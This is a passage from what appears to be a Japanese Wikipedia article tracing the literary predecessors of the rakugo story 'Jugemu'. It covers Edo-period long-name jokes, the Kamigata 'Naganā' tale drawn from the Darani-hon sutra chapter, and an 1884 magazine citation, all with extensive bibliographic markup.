嘉兵衛:「さて、昨日の申しかけを申そうと存じて、今日も貴宅へ参上致しました。長く申しては事が分りませぬ。つまんで申しましょう。こうでござる: そこもと様が主人法性寺入道前関白太政大臣様のことを、法性寺入道前関白太政大臣殿と仰せらましたから、そこで以てからに何か法性寺入道前関白太政大臣様が大きにお腹をお立ちなされ、俺が事を法性寺入道前関白太政大臣様という筈を、なぜ俺が事を法性寺入道前関白太政大臣殿と言うたとて、そこでもってからに法性寺入道、」
つうだ:「まずお急きなさるな。しかれば拙者が法性寺入道前関白太政大臣殿の事を、法性寺入道前関白太政大臣殿と申したがお気に障り、法性寺入道めが腹を立って、」
嘉兵衛:「いえさ、そう仰せられては済みませぬ。法性寺入道前関白太政大臣様と言う所を、」
(紛糾。以後毎日議論が続き、つうだは翌年になってやっと状況を理解する)
|source=『黄表紙十種』(1935年){{r|"黄表紙十種1935"|page=202}}(常用漢字化、現代仮名遣い化。一部漢字化。表記揺れ統一。句読点調整)}}
話中の殿様の名「法性寺入道前関白太政大臣」は、[[小倉百人一首]]のうちの一首の詠み人[[藤原忠通]]の俗称。実在した人物である<ref name="新村1964">{{Cite book|和書|title=鑑賞 小倉百人一首|publisher=洛文社|date=1964-11-30|page=93|last=新村|first=出|author-link=新村出|edition=2|language=ja|chapter=76|doi=10.11501/1347242|id={{NDLJP|1347242/50}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/1347242/50}}</ref>。小倉百人一首の中で一番長い名で、[[官名]]とはいえ、フィクションの名「あのくたら三びゃく三ぼだい」よりも長い。なお、20世紀中旬以降は通常「ほっしょうじにゅうどうさきのかんぱくだじょうだいじん」と発音する<ref name="新村1964" />。
『鼻下長物語』は好評で{{r|"黄表紙十種1935"|page=10}}、さまざまな派生作品が登場した{{r|"綿谷2015"|page=52}}。[[林家正蔵#初代|初代林屋正蔵]]も『御加増』という小咄を1833年に刊行した<ref name="落噺笑富林1833">{{Cite book|和書|title=落噺笑富林|publisher=永寿堂西村屋与八|year=1833|pages=画像7面-8面|author=林屋正蔵|author-link=林家正蔵#初代|language=ja|chapter=御加増|id={{NDLJP|9893356}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/9893356/7}}</ref><ref name="笑談五種1910">翻刻版: {{Cite book|和書|title=笑談五種|publisher=富山房|date=1910-08-11|pages=71-75|author=林屋正蔵|author-link=林家正蔵#初代||editor=幸田露伴|editor-link=幸田露伴|series=袖珍名著文庫 第38編|language=ja|chapter=笑ふ林 御加増|id={{NDLJP|891336}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/891336/42}}</ref><ref name="咄本大系本文データベース_御加増">テキスト翻刻: {{Cite web|和書|url=http://base1.nijl.ac.jp/hanashitext/TextAction.do?bouki=0&saku_no=231&kango=016&sys_han=001&groupId=G0000011&page=024 |title=御加増 |accessdate=2022-04-02 |publisher=国文学研究資料館 |author=林屋正蔵 |website=咄本大系本文データベース |work=16巻 落噺笑富林 |pages=24-26 |language=ja}} [http://base1.nijl.ac.jp/hanashitext/TextAction.do?bouki=0&saku_no=231&kango=016&sys_han=001&groupId=G0000011&page=025 p25][http://base1.nijl.ac.jp/hanashitext/TextAction.do?bouki=0&saku_no=231&kango=016&sys_han=001&groupId=G0000011&page=026 p26]</ref>。全会話が早口言葉で『鼻下長物語』と似たストーリーだが、「法性寺入道前関白太政大臣」の名はない。
{{anchors|雅名|稚名}}
=== 長命な名前を次々と提案させる笑話 ===
落語本『無事志有意』([[寛政]]10年(1798年)刊行<ref name="近代日本文学大系22_笹井">{{Cite book|和書|title=近代日本文学大系|publisher=国民図書|date=1928-05-28|page=25|last=笹川|first=種郎|language=ja|chapter=解題 落噺無事志有意|volume=22|doi=10.11501/1184601|id={{NDLJP|1184601/28}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/1184601/28}}</ref>)中の一話「雅名」(または「稚名」)は、めでたい名前を次々に要求するという笑話である。あらすじ:
:主人公は、子の[[幼名]]を非人に名付けしてもらうとよいと聞き、自分の子に「寿命の長い名」をつけてくれるように非人に頼む。非人はいくつかの名を提案するが、依頼者は納得しない。さらに「三浦の大助」、「浦島太郎は八千歳」、「東方朔は九千歳」と次々に提案してみるが依頼者はもっと長いのを要求してくる。しまいには「西の海へさらり」と提案した、という落ち<ref name="無事志有意1798">{{Cite book|和書|title=落咄無事志有意(落噺無事志有意(ぶじしうい))|year=1798|pages=画像35面|editor=立川談洲楼焉馬|editor-link=烏亭焉馬|language=ja|author=坂彦|chapter=雅名|chapterurl=https://kotenseki.nijl.ac.jp/biblio/100174224/viewer/35}}([[寛政]]10年刊。[[烏亭焉馬]]撰)
* 翻刻: {{Cite book|和書|title=近代日本文学大系|publisher=国民図書|date=1928-05-28|page=1070|author=坂彦|language=ja|chapter=落噺無事志有意 - 稚名|volume=22|doi=10.11501/1184601|id={{NDLJP|1184601/564}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/1184601/564}}
* テキスト翻刻: {{Cite web|和書|url=http://base1.nijl.ac.jp/hanashitext/TextAction.do?bouki=0&saku_no=167&kango=013&sys_han=001&groupId=G0000011&page=192 |title=稚名 |accessdate=2022-04-02 |publisher=国文学研究資料館 |author=坂彦 |website=咄本大系本文データベース |work=13巻 無事志有意 |pages=192-193 |language=ja <!--|archiveurl=https://web.archive.org/web/20220402151808/http://base1.nijl.ac.jp/hanashitext/TextAction.do?bouki=0&saku_no=167&kango=013&sys_han=001&groupId=G0000011&page=192|url-status=live |archivedate=2022-04-02-->}} [http://base1.nijl.ac.jp/hanashitext/TextAction.do?bouki=0&saku_no=167&kango=013&sys_han=001&groupId=G0000011&page=193 p193]</ref>。
「[[三浦義明|三浦の大助]]百六つ」「[[浦島太郎]]が八千歳」「[[東方朔]]が九千歳」「西の海へさらり」は、いずれも年末の[[厄祓い|厄払い]]祈祷の決まり文句<ref name="嬉遊笑覧1932">{{Cite book|和書|title=[[嬉遊笑覧]]|publisher=成光館出版部|date=1927-05-20|pages=239-240|author=喜多村信節|authorlink=喜多村信節|editor=日本随筆大成編輯部|edition=5|language=ja|chapter=厄拂、東方朔|volume=下|origyear=1830(文政3)年頃|doi=10.11501/1123104|id={{NDLJP|1123104/138}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/1123104/138}}
*「鶴は千年、亀は万年」「東方朔は九千歳」「三浦大介百六ツ」「西の海へさらり」
</ref><ref name="雪女五枚羽子板1896">{{Cite book|和書|title=近松時代浄瑠璃|publisher=博文館|date=1896-08-20|page=953|author=近松門左衛門|author-link=近松門左衛門|language=ja|chapter=雪女五枚羽子板 - 初春厄はらひ|origyear=1705(宝永2)年|doi=10.11501/1883014|id={{NDLJP|1883014/487}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/1883014/487}}
*p953:「鶴は千年、亀は万年」「浦島太郎が八千歳」「東方朔が九千歳」「西の海へさらりさらり、さっさこきょう」
*p7 :雪女五枚羽子板 宝永二年七月</ref>。ここでの「[[非人]]」とは、厄払いをして回る([[門付]])物乞い芸人のことである<ref name="歌謡字数考1908">{{Cite book|和書|title=歌謡字数考|publisher=大日本図書|date=1908-06-20|page=237|last=中根<!--ナカネ-->|first=淑<!--シュク-->|author-link=中根香亭|language=ja|chapter=50 厄拂ひ|doi=10.11501/992531|id={{NDLJP|992531/129}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/992531/129}}</ref>。厄払いの最後に唱える「西の海へさらり」とは「災いは西の海へ捨て去れ」という意味で<ref name="元禄文学辞典1928">{{Cite book|chapter=西の海へさらり|title=元禄文学辞典|publisher=新潮社|year=1908|page=461|editor=佐藤鶴吉|url=http://www.let.osaka-u.ac.jp/~okajima/PDF/genrokujiten.pdf|format=pdf|accessdate=2022-04-02|language=ja|archive-url=https://web.archive.org/web/20160305072811/http://www.let.osaka-u.ac.jp/~okajima/PDF/genrokujiten.pdf|archive-date=2016-03-05|url-status=dead}}({{Cite web|和書|title=大阪大学 岡島昭浩 語彙研究のページ|last=岡島|first=昭浩|accessdate=2022-04-02|url=http://www.let.osaka-u.ac.jp/~okajima/goi.htm|archive-url=https://web.archive.org/web/20220413000002/http://www.let.osaka-u.ac.jp/~okajima/goi.htm|archive-date=2022-04-13|url-status=dead}}内)</ref>、長寿とは無関係である。
{{Anchors|聞書雨夜友|一子異名|てきてきに}}
=== 怪談本『聞書雨夜友』 ===
[[文化 (元号)|文化]]2年(1805年)刊行{{r|"聞書雨夜友_翻刻2000"|page=696}}の怪談・奇談本『聞書雨夜友』(編集: 講釈師・作家である[[東随舎]])の中に「{{読み仮名|一子に異名を付けて後悔せし話|いっしにいみょうをつけこうかいせしはなし}}」がある。あらすじ:
:ある者が自分の男子に珍しい長い名前を付けたいと考えた。知り合いの儒学者に相談したところ、儒学者はまず「百人一首にも『法性寺入道前関白太政大臣』などという長い名前がある」と教えたうえで、「大学朱熹章句子程子曰大学孔子之遺書而初学入徳之門兵衛(だいがくしゅきしょうくしていしのいわくだいがくはこうしのいしょにしてしょがくとくいるのもんひょうえ)様」が良かろうと薦めた。ところが同席していた和歌の先生がこれを嘲笑し、日本人なのだから漢文ではなく和歌にすべきだとして「ながきよのとをのねふりのみなめざめなみなみのりふねのをとのよしべい」が良い、これは年越しの枕に敷く宝船の絵に書いてある歌だからめでたい、と薦めた。こんどは儒学者がこれを嘲笑したため、和歌先生と儒学者が口論となった。依頼者は呆れて、めでたい名を付けてもらいたいのにお二人が喧嘩されては困る、名付けは自分でやる、と言い出して
{{Poemquote|text={{ruby|敵々|てきてき}}{{ruby|仁|に}} {{ruby|敵|てき}}{{ruby|須留|する}}{{ruby|御坊|おんぼう}} {{ruby|蒼臨坊|そうりんぼう}} {{ruby|惣|そう}}{{ruby|高入道|たかにゅうどう}} {{ruby|播磨|はりま}}{{ruby|之|の}}{{ruby|別当|べっとう}} {{ruby|茶碗|ちゃわん}}{{ruby|茶臼|ちゃうす}}{{ruby|之|の}} {{ruby|挽木|ひきぎ}}{{ruby|之|の}} {{ruby|飛与小助|ひょこすけ}}
|source=『聞書雨夜友』<ref name="聞書雨夜友1805" />(常用漢字、現代仮名遣いに書き換え)}}
:と決めた。やがて子は成長するが、ある日うっかり井戸に落ちた。家の人たちは助けようとして、いちいち長い名を伝言してるうちに、子は「青ぶくれにふくれあがり」、あえなくこの世を去った<ref name="聞書雨夜友1805">{{Cite book|title=聞書雨夜友|publisher=瑶池堂|location=江戸|year=1805|pages=画像全96面中72面から78面|author=松壽館老人|editor=青雲軒主人|accessdate=2021-12-30|language=ja|chapter=一子に異名を付けて後悔せし話|volume=4|doi=10.20730/100052278|chapter-url=https://kotenseki.nijl.ac.jp/biblio/100052278/viewer/76}}([[文化 (元号)|文化]]2年刊)(副題「古今奇談 聞書雨夜友」)
*6面: ふりがな「ききかきあまよのとも」「二流間主東随舎 著」
*目次での題名: 「{{読み仮名|一子異名ヲ付後悔成話|いつしにいめうヲつけこうくわいなす}}」、本文前の題名: 「一子に異名を付けて後悔せし話」
*76面(原文の漢字・仮名遣いのままで引用):
{{Verse translation|lang=ja
|<!--original text-->敵々仁
敵須畄
御坊
蒼臨坊
惣高入道
播广之別當
茶碗茶臼之
挽木之
飛与小助
|<!--translation-->てきてきに
てきする
おんぼう
そうりんほう
そうたかにうとう
はりまのべつとう
ちやわんちやうすの
ひききの
ひよこすけ}}
*77-78面「評曰」:本書の編集者による評。分不相応なことをしてはいけないという説教。
</ref><ref name="聞書雨夜友_翻刻2000">翻刻:{{Cite book|title=初期江戸読本怪談集|publisher=国書刊行会|date=2000-10-30|origyear=1805|pages=654-657|author=二流間主東随舎|editor=近藤瑞木|language=ja|chapter=聞書雨夜友(ききがきあまよのとも) - 一子に異名を付けて後悔せし話|series=江戸怪異綺想文芸大系|ISBN=978-4-336-04271-2}}
*pp611-671『聞書雨夜友』翻刻 : 内pp654-657:『一子に異名を付けて後悔せし話』
*p683 解題 総説:『聞書雨夜友』は初期江戸[[読本]](よみほん)というジャンルの本。
*pp696-698『聞書雨夜友』の解題: 作者である東随舎は江戸の浪人栗原幸十郎であり、別名栗原忠雄、青雲軒および松壽館老人も彼の別名としている。
</ref>。
[[儒学者]]の提案した名は、[[四書五経]]について[[朱熹]]が書いた注釈書『[[四書集注]]』の一章『大学章句』の、表題「大学 朱熹章句」と導入部「子程子曰大学孔子之遺書而初学入徳之門也」<ref name="四書集註1766">{{Cite book|和書|title=四書集註|publisher=勝村治右衞門|location=京都|year=1766|author=朱熹|author-link=朱熹|language=zh|chapter=大学|volume=1|origyear=1189|doi=10.11501/2583035|id={{NDLJP|2583035/6}}|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/2583035/6|at=画像6面目}}(原著:[[淳熙]]己酉、本版:明和3年刊)</ref>。「[[なかきよの とおのねふりの みなめさめ なみのりふねの おとのよきかな]]」は、[[回文]]になっている[[和歌]]<ref>{{Cite Kotobank|word=宝船|encyclopedia=精選版 日本国語大辞典(小学館)|accessdate=2022-01-11}}</ref>。本書に「てきてきに…」の由来や意味の説明はない。
{{Anchors|長名|長名の伜|長名の倅|あにまにままに}}
===落語『長名』===
野口復堂<ref>読み:のぐちふくどう {{Cite web|和書|title=野口, 復堂|url=https://id.ndl.go.jp/auth/ndlna/00338813|website=国立国会図書館典拠データ検索・提供サービス|accessdate=2021-12-09}}</ref>(1864年頃生<ref name="佐藤2008">{{Cite book|title=大アジア思想活劇|publisher=サンガ|date=2008-09-25|page=187|last=佐藤<!--さとう-->|first=哲朗<!--てつろう-->|accessdate=2021-11-01|language=ja|isbn=978-4901679954}}
*野口復堂について
**pp57-60:野口復堂は元治元年(1864-1865年)生 - 没年不明。旧姓:貫名、本名:野口善四郎。英語教師、仏教系団体役員、教育講談師。
**p135:野口復堂は明治21年(1888年)9月9日神戸からインドへ出発。p203:明治22年(1889年)2月9日日本に帰国。
**pp178-179:野口復堂がインドで長名話。
**pp183-184:著者が「新京極六角橋の笑福亭」および「梅香」という高座名の実在を確認できた。
**p190:野口復堂はインドで長名話を披露した話を、日本へ帰国後に頻繁に語った。
*web版: {{Cite web|和書|url=http://homepage1.nifty.com/boddo/ajia/all/chap12.html|title=第十二章 野口復堂の印度旅行~マドラス寄席 長名話~|accessdate=2021-12-09|last=佐藤|first=哲朗|website=大アジア思想活劇@BODDO|language=ja|archiveurl=https://web.archive.org/web/20070116100713/http://homepage1.nifty.com/boddo/ajia/all/chap12.html|archivedate=2007-01-16|deadlinkdate=2021-12-09}}
</ref>)という講演家が1927年に回想録の中で、[[書生]]時代に京都の寄席で落語家「[[笑福亭梅香|梅香]]」の長名噺を聞いた、と述べている<ref name="野口1927">{{Cite journal|和書|journal=日印協会会報|author=野口復堂|title=四十年前の印度旅行|date=1927-11-18|issue=42|pages=95-96|language=ja|location=東京|id={{NDLBibID|000008858223}}}}
*本旅行記は、野口がインドの「霊智学会」([[神智学協会]])大会への出席と会長の日本招聘のために出張した話を1927年に回想して寄稿したもの。旅行記全文はpp71-102。
**p72:「明治21年9月9日」神戸出発。
**pp95-96:長名話
**p95:「新京極六角橋の笑福亭」
**p95:「梅香と云ふ落語家のやった話」何代目かは不記載。
**p95:野口は「この長名話」という表現をしており、落語の題名かどうか曖昧。
**p96:長名話中に学校のエピソードあり。「此子が学校へ上ることとなり、先生や同級生がこの長名に煩はさるる大滑稽があって{{Interp|…}}」。
**p96:「井戸中で『アダブダブダブ』と落ちになるのであるが、陀羅尼品を知って居る者はよいが、知らない者には興味が薄いから{{Interp|…}}」。
**p101:「明治22年もマドラスで暮れ、明けて日本国会開設の23年の正月1日を同地で迎へ、{{Interp|…}}同月10日{{Interp|…}}マドラス港を」出発して帰路。日本帰着日不記。
</ref><ref name="野口1930">野口1927の誤謬を改訂して再掲: {{Cite book|title=大鼎呂|publisher=二酉社 二酉名著刊行会|date=1930-01-04|pages=68-70|author=復堂 野口善四郎|language=ja|chapter=四十二年前の印度旅行|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/1151509/228|location=東京|id={{NDLJP|1151509}}}}(本書は通しページ番号なし。旅行記内での全文はpp1-88)
**p4:「明治21年9月9日」神戸出発。
**pp68-70:長名話
**p68:「{{読み仮名|梅香|ばいかう}}」
**p84:明治22年もマドラスで暮れ、明けて日本国会開設の前年の正月1日を同地で迎へ、{{Interp|…}}同月10日{{Interp|…}}マドラス港を」出発して帰路。p88:神戸上陸。「明治22年2月11日帝国憲法発布の公古の式日であった」。
</ref>。
:ある夫婦に男子が生まれ、[[神主]]に名前をつけてもらったが子は早死にした。そこで、次の子の名前は寺の和尚に頼んだ。その子の名は『{{読み仮名|陀羅尼品|だらにほん}}』という[[仏典|仏経]]から取った「あにまにまにままね、しれしゃりて{{Interp|…}}」。夫婦は一生懸命この名を覚え、隣の婆さんも練習する。やがてこの子は学校に通い、先生や同級生がこの長い名で迷惑する。あるときにこの子が井戸に落ちて、長い名前が原因で救助が間に合わず「アダブダブダブ」と溺れてしまう、という落ち<ref name="野口1927" />。
復堂自身も後年1888年にインドへ出張した際に余興として、聞き覚えたこの長名噺を英語で披露した<ref name="野口1927" />。つまりこの落語は1888年以前から存在したことになる。なお、この回想録はずっと後の1927年に出されたものである<ref name="野口1927" />。
{{読み仮名|[[陀羅尼]]|だらに}}とは呪文のことで、[[梵語]]と意味不明な音が混じったものである<ref name="日本国語大辞典_陀羅尼">{{Cite Kotobank|word=陀羅尼|encyclopedia=精選版 日本国語大辞典(小学館)|accessdate=2021-12-09}}</ref>。「陀羅尼品」は[[法華経]]の二十六番目の章の題名で、陀羅尼をいくつか含む<ref name="日本国語大辞典_陀羅尼品">{{Cite Kotobank|word=陀羅尼品|encyclopedia=精選版 日本国語大辞典(小学館)|accessdate=2021-12-09}}</ref><ref name="SAT_陀羅尼品">{{Cite web|和書|title=妙法蓮華經 (No. 0262 鳩摩羅什譯) 陀羅尼品第二十六|website=SAT[[大正新脩大藏經]]テキストデータベース|url=https://21dzk.l.u-tokyo.ac.jp/SAT/T0262_,09,0058b08:0262_,09,0059b28.html|accessdate=2021-12-14}}</ref>。陀羅尼の語句や発音は著書によりばらつきがあるが、一例としては「あにまにまねままね、しれいしゃりてい{{Interp|…}}」<ref name="台巌1879">{{Cite book|和書|title=法華経要品和訓 : 首書和註画入|publisher=村上勘兵衛|year=1879|pages=74丁表面-75丁表面|author=台巌|month=8|chapter=10 妙法蓮華経陀羅尼品第二十六|chapterurl=https://dl.ndl.go.jp/info:ndljp/pid/818231/86|location=京都|id={{NDLJP|818231/86}}}}
{{Poemquote|text=あに まに まね ままね
しれい しやりてい
しやみや しやびたゐ
せんてい
もくてい もたが しやび
あゐしやび
さうび しやび
しやえい あしやえい
あぎに せんてい
しやび だらに
あろきやばさい
むしやびしやに
ねびてい
あべんたらねびてい
あたんだ
はれいしやだい
うくうれい むくうれい
あられい はられい
しゆぎやし
あさんまさんび
ぶつだびきりぢつてい
だるまはりしてい
そうぎやねくしやねい
ばしやばしや
しゆだい
まんたら}}</ref>。
1966年刊の『上方落語の歴史 改訂増補版』(著者 前田勇)は『'''長名の伜'''』・『'''長名'''』という演題を、狭義には「あにまにままに しゅりしゃびて{{Interp|…}}」の噺、広義には『寿限無』も含める、という二つの意味で使っている<ref name="前田1966">{{Cite book|title=上方落語の歴史 改訂増補版|publisher=杉本書店|date=1966-10-01|pages=240-241|chapter=長名の伜|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/2516101/126|last=前田<!--まえだ-->|first=勇<!--いさむ-->|language=ja|ncid=BN10625022|doi=10.11501/2516101|location=大阪|id={{NDLJP|2516101}} {{JPNO|68002621}}}}{{要登録}}
* p27「三、大阪落語の祖、米沢彦八」内: 「現行『寿限無』は、{{Interp|(中略)}}『欲からしづむ淵』{{Interp|(中略)}}を作り変えたものに相違ない」
* 上方落語の演題とオチ
** p108:各演目の上方・東京間の移植説については「一応上方の先人の説に従っているが、」要考証としている。
** pp195-196 寿限無: 同一素材の東京落語『寿限無』
*** 落ち (1)「あんまり名が長いので、瘤が直ってしもた」; (2)「オイオイ、お経にはまだ早い」
*** 筋の記述なし
*** p195: 寿限無は立花家花橘が東京から上方へ移入したとの伝聞、さらにその東京の寿限無は上方落語の改作との伝聞。
** pp240-241 {{読み仮名|長名|ながな}}、{{読み仮名|長名の伜|ながなのせがれ}}: 別名 長名、寿限無。同一素材の東京落語『寿限無』
***「筋もサゲも寿限無に同じ(但サゲ二様あり)。」
***「倅の長い名を『あにまにままに、しゅりしゃびて{{Interp|…}}』(梵語なるべしというも未詳)という。」
*** 筋の記述なし
* 記載以外の補足:
** 長い名前の文言は、1958年版『上方落語の歴史』から改訂した1966年版『上方演芸辞典』p323:寿限無、pp451-452:長名の伜({{Cite book|title=上方演芸辞典|publisher=東京堂出版|date=1966-07-10|pages=451-452|last=前田|first=勇|language=ja|location=東京|chapter=長名の伜|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/2510326/231|ncid=|doi=10.11501/2510326|id={{NDLJP|2510326}} {{JPNO|66007277}}}}{{要登録}})に対して、さらに数か所修正している。
* 本書は同書名の、{{Cite book|title=上方落語の歴史|publisher=杉本書店|date=1958-11-20|pages=215-216|last=前田|first=勇|language=ja|location=大阪|chapter=長名の伜|chapter-url=https://dl.ndl.go.jp/info:ndljp/pid/2487140/112|ncid=BN10999871|doi=10.11501/2487140|id={{NDLJP|2487140}} {{JPNO|59000807}}}}{{要登録}}の大幅改訂版。旧版の記述:
** p184 寿限無:「『長名の倅』に同じ」
** pp215-216 {{読み仮名|長名|ながな}}、{{読み仮名|長名の伜|ながなのせがれ}}: 別名 長名、寿限無。同一素材の東京落語『寿限無』
*** 落ち (1)「オイオイ、お経にはまだ早い」; (2)「あんまり名が長いので、瘤が直ってしもた」
*** p215:東京の寿限無は上方落語の改作である。
*** p216:寿限無は立花家花橘が東京から上方へ移入したとの伝聞。
***「倅の長い名も上方のは元来{{Interp|(中略)}}『あにまにままに、しゅりしゃびて{{Interp|…}}』というのであった由。」との伝聞。
</ref>。「アダブダブダブと溺れる」という落ちは言及されていない。
[[桂米朝 (3代目)]]によれば、『上方落語の歴史』に掲載された長い名前は米朝が提供したとのこと。また、同書は誤植が多いとして自著に訂正版を掲載した<ref name="桂米朝2集_2020">{{Cite book|和書|title=上方落語ノート第二集|chapter=長名について|publisher=岩波書店|date=2020-04-16|pages=186-187|author=桂米朝|author-link=桂米朝 (3代目)|language=ja|isbn=9784006023201|origyear=1985}}
* 本書は1985年刊『続・上方落語ノート』の再刻。
* pp186-187 長名について: 戦後これを覚えていたのは桂南天と桂文吾だった。
** p187: 桂南天バージョン掲載し、桂文吾説での差異箇所を付記。
** 筋および落ちの記述なし
</ref>。そこでの子の名前は
{{Poemquote|text=あにまにままに
しゅりしゃびて
たいへんれ
もくれもくたび
あいしゃび
しょみしゃび
しゃみだらに
あるきゃはしゃばしゃ
びしゃねびて
あななねびて
あたんだ
あれしゅれ
ふくれふくれ
はられはられ
そがさあさまさ
ぶったい びりき ちゅうて
だるまはれしゅて
しょきゃ ねぐしゃ
ねばしゃ ばしゃ
しゅうたい
万太郎
|source=[[桂南天]]演、桂米朝筆記<ref name="桂米朝2集_2020" />}}
前田勇(1908年生<ref name="NDLauth_前田勇">{{Cite web|和書|url=https://id.ndl.go.jp/auth/ndlna/00039249 |title=前田, 勇, 1908-1972 |accessdate=2022-06-23 |website=国立国会図書館典拠データ検索・提供サービス |language=ja}}</ref>){{r|"前田1966"|page=241}}および桂米朝(1925年生<ref name="NDLauth_三代目桂米朝">{{Cite web|和書|url=https://id.ndl.go.jp/auth/ndlna/00101909 |title=桂, 米朝 3世, 1925-2015 |accessdate=2022-04-25 |website=国立国会図書館典拠データ検索・提供サービス |language=ja}}</ref>)は「あにまにままに…」が陀羅尼品であることを当初は知らなかった<ref name="桂米朝4集_2020">{{Cite book|和書|title=上方落語ノート第四集|chapter=『長名』の原典|publisher=岩波書店|date=2020-07-14|pages=55-58|author=桂米朝|author-link=桂米朝 (3代目)|language=ja|isbn=9784006023225|origyear=1998|ref={{SfnRef|桂米朝『上方落語ノート第四集』|2020}}}}
*pp55-58「『長名』の原典」:米朝が『続・上方落語ノート』で「長名」について書いた記事に対して、ある人から『陀羅尼品』にそっくりとの指摘を受けた。
</ref>。いっぽう三代目三遊亭金馬(1894年生<ref name="NDLauth_三代目三遊亭金馬" />)は、大阪の噺は名の出典が『陀羅尼品』という設定で、子が「だだぶ だぶだぶ」と死ぬ落ちがあることは知っていたが、子の名前は「寿限無寿限無」と書いている{{r|三遊亭金馬1993|pages=84-85}}。
『長名』という演題の古い出現例は1917年の[[桂萬光#3代目|桂萬光]]公演の新聞記事<ref name="東京朝日新聞19170501">{{Cite news|title=有楽座上方会 六日の演題|newspaper=[[東京朝日新聞]] 朝刊|date=1917-05-06|page=7|language=ja|quote=長名(萬光)}}(大正6年)<!--出典の糸口:[http://blog.livedoor.jp/bunnzaemon/archives/45764788.html]--></ref>だが、話の内容は不記載。
[[立花家花橘#2代目|二代目立花家花橘]]が1910-1920年代{{r|"都家歌六1987A"|page=90}}に出したレコードは題名が『長名』だが、子の名は「寿限無寿限無…」、落ちは「瘤がひっこんでしまいよった」である<ref group="F" name="二代目立花家花橘_録音_長名_オリエント">{{Cite AV media|title=長名|medium=レコード録音|author=二代目立花家花橘|authorlink=立花家花橘#2代目|series=オリエントレコード|publisher=Nipponophone|id=A2411,A2412}}([[東京文化財研究所]]蔵)
*レーベル: 落語 長名 大阪 立花家花橘
*音声: 両面盤1枚。A面3分22秒、B面3分53秒
**出だし:「へい、さて。あいかわらずお笑いを申し上げます。」「先生こんにちは。うちのカカがこせがれへりだしましてな。」
**先生が命名の説明をする際には「ごこうのすりきれん」だが、父母友人が唱えるフルネームでは「ごこうのすりきれ」。
**子のフルネーム(6回中1回目):「じゅげむじゅげむ ごこうのすりきれ かいじゃりすいぎょのすいぎょうばつ うんぎょうばつ ふうらいばつ くうねるところにすむところ やーぶらこうじ ぶらこうじ パイポパイポ パイポのシューリンガン シューリンガンのグーリンダイ ポンポコピーのポンポコナーの 長久命の長助」
**末尾(落ち):「あんまり名が長いさかい、瘤がひっこんでしまいよったやぁ。」
*本盤は、1929発売の日本ビクター版『寿限無』両面盤2枚組(合計約13分)とは別テイク。
</ref>。
『寿限無』が「あにまにままに{{Interp|…}}」の噺と違う点は、『寿限無』では名前の個々の言葉の意味を丁寧に説明する場面が設けられていることである{{r|"桂米朝2集_2020"|page=187}}。「あにまにままに{{Interp|…}}」の上演は20世紀後半に廃れた{{r|"桂米朝2集_2020"|page=187}}。
{{anchors|寿限無の歴史|寿限無寿限無|「寿限無寿限無」}}
== 『寿限無』の歴史 ==
=== 寿限無寿限無 ===
[[File:Tokyo keizai zasshi 1884-07-26 p0109 Jugemu.png|thumb|1884年の雑誌記事での「ヂゲムヂゲム」の名]]
[[File:Tokyo keizai zasshi 1901-11-30 p1087 Jugemu.png|thumb|1901年の雑誌記事での「ジユゲンム ジユゲンム(壽限無)」の名]]
『寿限無』の噺は1884年以前に成立しており、さらに昔の19世紀中旬まで{{読み|遡|さかのぼ}}れる可能性がある。
1884年に雑誌『[[東京経済雑誌]]』の記事でフルネーム「ジゲムジゲム」が引用されている<ref name="東京経済雑誌18840726">復刻版書誌: {{Cite book|title=東京経済雑誌 17 明治17年7-9月 221-233号|publisher=日本経済評論社|date=1982-1-20|lorigyear=1884|language=ja|volume=17|location=東京|id={{NCID|AN00329943}}|chapter=経済学釈義|at=224号 p109|chapterurl=https://hdl.handle.net/2027/uc1.c2785659?urlappend=%3Bseq=137|hdl=/2027/uc1.c2785659}}(URLは[[HathiTrust]])
* 原文書誌: {{Cite journal|和書|journal=[[東京経済雑誌]]|author=経済記者|title=経済学釈義|page=109|date=1884-7-26|volume=10|issue=224|publisher=[[経済雑誌社]]|language=ja|id={{NCID|AN00159377}}}}
* 筆者署名: {{Cite book|title=東京経済雑誌 17 明治17年7-9月 221-233号|publisher=日本経済評論社|date=1982-1-20|lorigyear=1884|language=ja|volume=17|at=222号 p44|chapter=経済学釈義 – 經濟學の釋義に關して駁論諸子に答ふ|author=経済記者|location=東京|id={{NCID|AN00329943}}|quote=經濟記者|chapterurl=https://hdl.handle.net/2027/uc1.c2785659?urlappend=%3Bseq=64|hdl=/2027/uc1.c2785659}}(URLは[[HathiTrust]])
*「[[wikt:かの|彼の]]
{{Poemquote|text=ヂゲム ヂゲム
ゴコーノスーリキリ
カイヂャリスイギョ
スギヨバチャ
カイポ カイポ
カイポノシリヲ
グリンダ グリンダ
グリンダノチョースケガ
アノヤマコエテ
コノヤマコエテ
コエテ コエテノ
ヲポポイノポイマ}}
と云へる名を小児に命したる談話を…」
* 記載事項以外の補足:
** 本記事は{{Harv|『鼎軒田口卯吉全集』3|1928}}で[[田口卯吉]]の著として扱われている。
** 論敵の名「粛堂」は[[乗竹孝太郎]]の号と一致する{{Cite web|和書|url=https://id.ndl.go.jp/auth/ndlna/00056693 |title=乗竹, 孝太郎, 1860-1909 |accessdate=2022-06-12 |website=国立国会図書館典拠データ検索・提供サービス |language=ja}}。
*** 乗竹孝太郎は同じ東京経済雑誌の社員である({{Cite encyclopedia|title=乗竹孝太郎|encyclopedia=大日本人名辞書|publisher=大日本人名辞書刊行会|date=1926-06-20|page=2058|author=大日本人名辞書刊行会|url=https://dl.ndl.go.jp/info:ndljp/pid/1879535/309|edition=新版|language=ja|NCID=BN01714711|volume=下巻|location=東京|doi=10.11501/1879535|id={{NDLJP|1879535}}}})
